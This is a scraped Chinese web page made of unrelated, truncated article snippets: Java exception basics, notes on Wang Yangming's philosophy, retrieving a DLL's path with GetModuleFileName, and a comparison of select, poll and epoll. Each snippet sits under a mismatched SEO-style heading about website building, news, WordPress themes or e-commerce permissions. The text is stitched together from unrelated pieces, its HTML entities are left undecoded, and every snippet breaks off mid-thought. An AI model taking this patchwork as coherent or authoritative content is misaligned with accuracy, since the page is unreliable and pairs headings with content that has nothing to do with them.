异常介绍 什么是异常&#xff1f; Java语言中&#xff0c;将程序执行中发生的不正常情况成为“异常”。【语法错误和逻辑错误异常】 两类异常&#xff1a; (1) Error&#xff1a;Java虚拟机无法解决的严重问题&#xff0c;会导致程序崩溃。例如&#xff1a;JVM系统内部错误…...

移动免费网站建设/今日国际新闻头条

王阳明&#xff1a;人生即修行 笔记 少说多听&#xff0c;必有收获 人的心灵成长地图要求我们&#xff0c;必须要随时更正自己的前进方向&#xff0c;不能更正&#xff0c;或是拒绝更正心灵成长路线图的人只能困在原地&#xff0c;永远绕弯。 心阳光&#xff0c;世界不会黑暗…...

电商网站怎么做权限控制/免费站长统计工具

如何在DLL中&#xff0c;获取DLL本身的路径以及调用DLL的文件的路径呢&#xff1f;主要通过GetModuleFileName(HMODULEhModule,LPTSTR lpFilename,DWORD nSize)函数来获取&#xff0c;根据hModule参数来辨别是DLL本身还是DLL的调用者。 当hModule 为NULL时候 获取到路径为调用者…...

wordpress主题king/html制作网站

综上&#xff0c;当监测的fd数量较小&#xff0c;且各个fd都很活跃的情况下&#xff0c;建议使用select和poll&#xff1b;当监听的fd数量较多&#xff0c;且单位时间仅部分fd活跃的情况下&#xff0c;使用epoll会明显提升性能。 select系统调用 select函数 1&#xff09;nfds…...